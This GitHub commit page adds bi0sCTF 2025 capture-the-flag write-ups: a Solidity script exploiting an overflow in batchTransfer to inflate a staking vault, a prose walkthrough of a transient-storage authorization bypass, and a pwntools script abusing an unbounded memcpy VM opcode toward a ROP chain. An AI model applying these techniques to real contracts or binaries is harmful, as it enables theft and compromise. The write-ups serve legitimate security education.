Skip to content

Commit a00776d

Browse files
authored
Merge pull request #4 from rk3141/main
bi0s ctf 2025 writeups
2 parents 5b15635 + 7ac4839 commit a00776d

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

42 files changed

+3017
-0
lines changed

content/writeups/bi0sCTF-2025/BombardinoExfilrino.md

Lines changed: 284 additions & 0 deletions
Large diffs are not rendered by default.
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
+++
2+
title = "Empty Vessel"
3+
date = 2025-07-07
4+
authors = ["Anirud"]
5+
+++
6+
7+
## Description
8+
9+
When you speak directly to metal, metal doesn't lie... but it doesn't think either.
10+
11+
## Solution
12+
13+
### Goal
14+
15+
```solidity
16+
function solve()external{
17+
if(!staked){
18+
revert Setup__Not__Yet__Staked();
19+
}
20+
uint256 assetsReceived=stake.redeemAll(address(this),address(this));
21+
if(assetsReceived>75_000 ether){
22+
revert Setup__Chall__Unsolved();
23+
}
24+
solved=true;
25+
}
26+
27+
function isSolved()public view returns (bool){
28+
return solved;
29+
}
30+
```
31+
32+
When we call solve, redeemAll function is called, and the challenge is complete if less than 75000 ether is received.
33+
The goal is to inflate the share value such that less than 75000 ether worth of shares are minted when 100000 ether is staked.
34+
35+
### Vulnerability
36+
37+
```solidity
38+
function batchTransfer(address[] memory receivers,uint256 amount)public returns (bool){
39+
// ...
40+
if lt(mload(ptr),mul(mload(receivers),amount)){ // exploit here since this is vulnerable to integer overflow during balance check
41+
mstore(add(ptr,0x20),0xcf479181)
42+
mstore(add(ptr,0x40),mload(ptr))
43+
mstore(add(ptr,0x60),mul(mload(receivers),amount))
44+
revert(add(add(ptr,0x20),0x1c),0x44)
45+
}
46+
47+
for {let i:=0x00} lt(i,mload(receivers)) {i:=add(i,0x01)}{
48+
mstore(ptr,mload(add(receivers,mul(add(i,0x01),0x20))))
49+
mstore(add(ptr,0x20),1)
50+
sstore(keccak256(ptr,0x40),add(sload(keccak256(ptr,0x40)),amount))
51+
}
52+
// ...
53+
}
54+
```
55+
56+
The function is vulnerable to overflow attacks that allows bypassing balance checks. This means you can transfer very large amounts.
57+
58+
### Exploit Strategy
59+
60+
Read the setup contract to understand that the player can claim 1.746 Billion INR tokens to begin with, and the stakeAmount is 100000 ether.
61+
We must exploit the batchTransfer function to increase our token holdings, gain ownership of the pool, and then transfer a significant amount to inflate the pool.
62+
63+
```solidity
64+
pragma solidity ^0.8.20;
65+
66+
import {Script, console} from "forge-std/Script.sol";
67+
import {Setup, Stake, INR} from "src/Setup.sol";
68+
69+
contract Solve is Script {
70+
function run() external {
71+
// Replace with the setup instance address given to you
72+
address setupAddr = ; // Add received setup address after creating an instance
73+
74+
vm.startBroadcast();
75+
Setup setup = Setup(setupAddr);
76+
INR inr = setup.inr();
77+
Stake stake = setup.stake();
78+
address player = msg.sender;
79+
80+
// Claim INR tokens (gives 1.74B tokens)
81+
setup.claim();
82+
inr.approve(address(stake), type(uint256).max);
83+
84+
// Addresses for inflation attack using batchTransfer
85+
address[] memory receivers = new address[](2);
86+
receivers[0] = player;
87+
receivers[1] = address(0);
88+
89+
// Transfer large unchecked value to self to later inflate pool
90+
inr.batchTransfer(receivers, 0x8000000000000000000000000000000000000000000000000000000000000000);
91+
92+
// Establish ownership in the pool by depositting just 1 INR
93+
stake.deposit(1, player);
94+
// Manually transfer 50k INR to the stake pool (inflate it)
95+
inr.transfer(address(stake), 50_000 ether);
96+
97+
// Now make Setup stake its 100k INR - this generates fewer shares due to inflated share value
98+
setup.stakeINR();
99+
100+
setup.solve();
101+
// Assert and log result
102+
require(setup.isSolved(), "Exploit failed");
103+
console.log("Challenge Solved!");
104+
105+
vm.stopBroadcast();
106+
}
107+
}
108+
```
109+
110+
We transfer 50000 ether (or more) into the pool, which increases share value, and when stakeINR stakes 100000 ether, it receives lesser shares than expected (since the pool is inflated). Finally when solve is called, the shares are liquidated at fair value, and we receive lesser tokens than we deposited.
111+
112+
Flag: `bi0sctf{tx:0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f}`
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
+++
2+
title = "Transient Heist Revenge"
3+
date = 2025-07-15
4+
authors = ["Vrishab"]
5+
+++
6+
7+
## Overview
8+
9+
The main goal of the challenge is to trick the function `isSolved` from Setup.sol into completing. There are 2 main entities here:
10+
11+
- **Bank Vault** (USDSEngine): This is a very secure vault that stores collateral and allows minting of USDS stablecoin. It uses transient storage (tstore/tload) to verify only the correct Bi0sSwapPair can call certain functions.
12+
- **Currency Exchange** (Bi0sSwapPair): This booth swaps one type of token for another.
13+
14+
We need to trick the Vault into thinking we’ve deposited a huge amount as collateral - it has to be more than a very large hash value.
15+
16+
## How Collateral Deposits Work
17+
18+
Collateral Deposits normally work like this:
19+
20+
1. A user calls `depositCollateralThroughSwap` to deposit collateral via an automated token swap.
21+
2. The vault transfers tokens to the Bi0sSwapPair, writes the swap pair’s address into transient storage (`tstore(1, bi0sSwapPair)`).
22+
3. The swap is performed, and upon completion, the Bi0sSwapPair calls back into `bi0sSwapv1Call` to deposit the collateral.
23+
4. In `bi0sSwapv1Call`, the vault checks that `msg.sender` matches the stored address from transient storage, ensures the requested collateral deposit is not greater than the amount of tokens received (`collateralDepositAmount <= amountOut`), and updates internal collateral balances.
24+
25+
## The Vulnerability
26+
27+
Now, the only check on who can call `bi0sSwapv1Call` is the transient storage slot. This means that if an attacker can use the value written into transient storage, they can then call `bi0sSwapv1Call` from their own contract address. The vault only checks `msg.sender == tload(1)`, but `tload(1)` gets overwritten during the callback with `tokensSentToUserVault`, allowing us to control this value.
28+
29+
## Exploit Steps
30+
31+
**1. Deploying a malicious contract at a controlled address** - we use CREATE2 to deploy an attacker contract at an address that can be precomputed. This contract must implement the `bi0sSwapv1Call` function. A contract is used instead of a normal wallet since only contracts can call `bi0sSwapv1Call` and pass the transient storage check while being deployed at a known address. We should ensure we get a contract address with sufficient leading zeros for the arithmetic manipulation.
32+
33+
**2. Initiating a Legitimate Swap** - we now call `depositCollateralThroughSwap` with 80,000 WETH which we want to swap for SafeMoon. This triggers `tstore(1, bi0sSwapPair)` - usage of transient storage which survives for the entire transaction, not just the swap call.
34+
35+
**3. Overwrite Transient Storage During First Callback**: During the legitimate `bi0sSwapv1Call` callback, we set `collateralDepositAmount = amountOut - vanity_contract_address`, making `tokensSentToUserVault = vanity_contract_address`. The line `tstore(1, tokensSentToUserVault)` then overwrites the original swap pair address with our contract address.
36+
37+
**4. Second Call to bi0sSwapv1Call**: Within the same transaction, we call `bi0sSwapv1Call` directly from our vanity contract. The check `msg.sender == tload(1)` now passes because `tload(1)` contains our contract address from step 3.
38+
39+
**5. Set Arbitrary Collateral Amounts**: In the second call, we can supply ANY `amountOut` and `collateralDepositAmount > FLAG_HASH` (ensuring `collateralDepositAmount <= amountOut`). These don't need to be realistic token amounts - just arbitrary large numbers.
40+
41+
**6. Repeat for Second Token**: The `isSolved()` function requires BOTH `collateralTokens[0]` (WETH) AND `collateralTokens[1]` (SafeMoon) to exceed `FLAG_HASH`. Since transient storage persists for the entire transaction, you can make a second direct call to `bi0sSwapv1Call` with the other token type using the same poisoned transient storage.
42+
43+
## Arithmetic Manipulation Used
44+
45+
The exploit requires careful calculation: `tokensSentToUserVault = amountOut - collateralDepositAmount` must equal the vanity contract address. We need a vanity address with 7+ leading zeros to make this arithmetic feasible compared to `FLAG_HASH`.
46+
47+
## Why the Vanity Address Matters
48+
49+
- We need a contract deployed at a **small numeric address** (7 leading zeros) to make the arithmetic work.
50+
- The calculation `tokensSentToUserVault = amountOut - collateralDepositAmount` must equal our contract address.
51+
- We need an address comparatively smaller than `FLAG_HASH` so that in the first callback, `amountOut = vanityAddress + smallCollateralAmount` is achievable through legitimate token swaps, while in the second call you can use `collateralDepositAmount > FLAG_HASH`.
52+
- This address then gets written to transient storage, allowing our contract to **pass the `msg.sender` check** on the second call.
53+
Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
+++
2+
title = "Uninitialized VM"
3+
date = 2025-07-08
4+
authors = ["Thirukailash"]
5+
+++
6+
7+
**Description**
8+
9+
Just cooked up a simple VM, forgot to check for bugs tho.
10+
11+
## **Files provided**
12+
13+
vm_chall
14+
Dockerfile
15+
libc.so.6
16+
ld-linux-x86-64.so.2
17+
flag.txt
18+
19+
## Vulnerability
20+
21+
- `CPY` opcode uses `memcpy()` with attacker-controlled size and indices.
22+
- No bounds checks → memory corruption.
23+
- Can copy data *into and out of* the VM stack and manipulate key structures.
24+
25+
---
26+
27+
## Key Opcodes for exploit
28+
29+
| Opcode | Meaning |
30+
|----------|---------------------|
31+
| `0x36` | `CPY` (vuln here) |
32+
| `0x31` | `PUSH` |
33+
| `0x32` | `PUSH_R` |
34+
| `0x33` | `POP_R` |
35+
| `0x35` | `MOV_R_X` |
36+
| `0x44` | `SUB` |
37+
| `0x43` | `ADD` |
38+
39+
---
40+
41+
## Exploit summary
42+
43+
The vulnerability lies in a broken VM instruction: **`CPY`**, which uses `memcpy()` without bounds checking. This gives us **out-of-bounds memory read/write** from within the VM.
44+
45+
---
46+
47+
### Step 1: Copy `regs` Struct to VM Stack
48+
49+
- Use the vulnerable `CPY` instruction to copy the `regs` struct onto the VM's stack.
50+
- Modify register values (`sp`, `bp`, `pc`, etc.) using VM instructions like `ADD`, `SUB`, `MOV`, etc.
51+
- These modifications are possible because the VM allows arithmetic on its stack contents.
52+
53+
---
54+
55+
### Step 2: Regain Control Over VM Stack
56+
57+
- After editing the copied `regs`, copy it back into its original location using `CPY`.
58+
- This gives full control over the VM’s:
59+
- **Stack pointer (`sp`)**
60+
- **Base pointer (`bp`)**
61+
- **Program counter (`pc`)**
62+
- Now we can use VM opcodes like `PUSH`, `POP`, and `CPY` to read/write arbitrary memory.
63+
64+
---
65+
66+
### Step 3: Leak libc via Heap Metadata
67+
68+
- The `expand()` function frees the old memory chunks and reallocates them.
69+
- Freed chunks leave **unsorted bin metadata** (heap freelist pointers) in memory.
70+
- Use VM stack read to extract those pointers → gives a **libc leak**.
71+
72+
---
73+
74+
### Step 4: Leak Stack Address via `environ`
75+
76+
- Use leaked libc base to compute the address of `environ`.
77+
- `environ` holds a pointer to the actual stack top.
78+
- Copy `environ` to the VM stack, then use `POP_R` to load it into a VM register.
79+
80+
---
81+
82+
### Step 5: Stack Pivot + Return Address Overwrite
83+
84+
Now that we know the real stack address:
85+
86+
- Set the VM stack to overlap the **main() function’s stack frame**.
87+
- Push a **ROP chain** onto the return address using the VM’s `PUSH` opcode.
88+
- When execution returns from main, it hits our payload.
89+
90+
---
91+
92+
## Final Exploit Script
93+
94+
The following Python script uses `pwntools` to exploit the Uninitialized VM by triggering an out-of-bounds `memcpy`, leaking `libc` and `stack`, and hijacking control flow.
95+
96+
```python
97+
#!/usr/bin/env python3
98+
from pwn import *
99+
100+
context.binary = ELF("./vm_chall")
101+
libc = ELF("./libc.so.6")
102+
context.terminal = ["tmux", "splitw", "-h"]
103+
context.log_level = "debug"
104+
105+
# Start the target process or connect remotely
106+
def launch():
107+
if args.REMOTE:
108+
return remote("host", 1337) # Replace with actual host/port
109+
elif args.GDB:
110+
return gdb.debug("./vm_chall", gdbscript="""
111+
break *main+1695
112+
continue
113+
""")
114+
else:
115+
return process("./vm_chall")
116+
117+
# Short helpers to emit bytecode for each instruction
118+
def b(x): return p8(x)
119+
def reg(r): return b(r & 7)
120+
121+
def op_push_imm(val): return b(0x35) + reg(0) + p64(val)
122+
def op_push(val): return b(0x31) + b(val)
123+
def op_push_r(r): return b(0x32) + reg(r)
124+
def op_pop_r(r): return b(0x33) + reg(r)
125+
def op_mov(dst, src): return b(0x34) + reg(dst) + reg(src)
126+
def op_cpy(dst_r, src_r, size): return b(0x36) + reg(dst_r) + reg(src_r) + b(size) + b(0) * 2 # pad to skip PC += 3
127+
def op_add(r1, r2): return b(0x43) + reg(r1) + reg(r2)
128+
def op_and(r1, r2): return b(0x38) + reg(r1) + reg(r2)
129+
def op_not(r): return b(0x40) + reg(r)
130+
def op_jmp(offset): return b(0x45) + b(offset)
131+
132+
# Construct the payload
133+
def build_payload():
134+
payload = b''
135+
136+
# Step 1: Fill stack space to operate on
137+
for _ in range(16):
138+
payload += op_push(0x00)
139+
140+
# Step 2: Copy `regs` struct to VM stack
141+
payload += op_push_imm(0xef)
142+
payload += op_push_imm(0xff)
143+
payload += op_mov(0, 0) # r0 = 0xef
144+
payload += op_mov(1, 1) # r1 = 0xff
145+
payload += op_cpy(0, 1, 0x80)
146+
147+
# Step 3: Prepare modified `regs` on stack (e.g., set new PC/sp/bp)
148+
payload += op_pop_r(3) # Assume r3 = heap libc ptr
149+
payload += op_pop_r(4) # r4 = PC
150+
payload += op_push_imm(0x12345678) # Replace with address of environ or main stack
151+
payload += op_pop_r(5) # r5 = stack base
152+
payload += op_push_imm(0xffffffffffffffff)
153+
payload += op_pop_r(6) # r6 = end marker
154+
payload += op_cpy(1, 0, 0x80) # Copy back regs
155+
156+
# Step 4: Stack pivot → target real stack
157+
payload += op_push_imm(0xdeadbeefcafebabe) # one_gadget or ret address
158+
for _ in range(3):
159+
payload += op_push(0x00)
160+
161+
return payload
162+
163+
# Main
164+
io = launch()
165+
166+
# Initial VM prompt sequence
167+
for _ in range(2):
168+
io.sendlineafter(b"[ lEn? ] >> ", b"1")
169+
io.sendlineafter(b"[ BYTECODE ] >>", b"a")
170+
171+
# Final exploit payload
172+
bytecode = build_payload()
173+
assert len(bytecode) < 256
174+
175+
io.sendlineafter(b"[ lEn? ] >> ", str(len(bytecode)).encode())
176+
io.sendlineafter(b"[ BYTECODE ] >>", bytecode)
177+
io.interactive()
178+
179+
``````
180+
181+
This challenge was a great learning experience. I gained a deeper understanding of custom VM environments, memory layout manipulation, and struct-based exploitation. Thanks to the bi0sCTF team for such an excellent problem.

0 commit comments

Comments
 (0)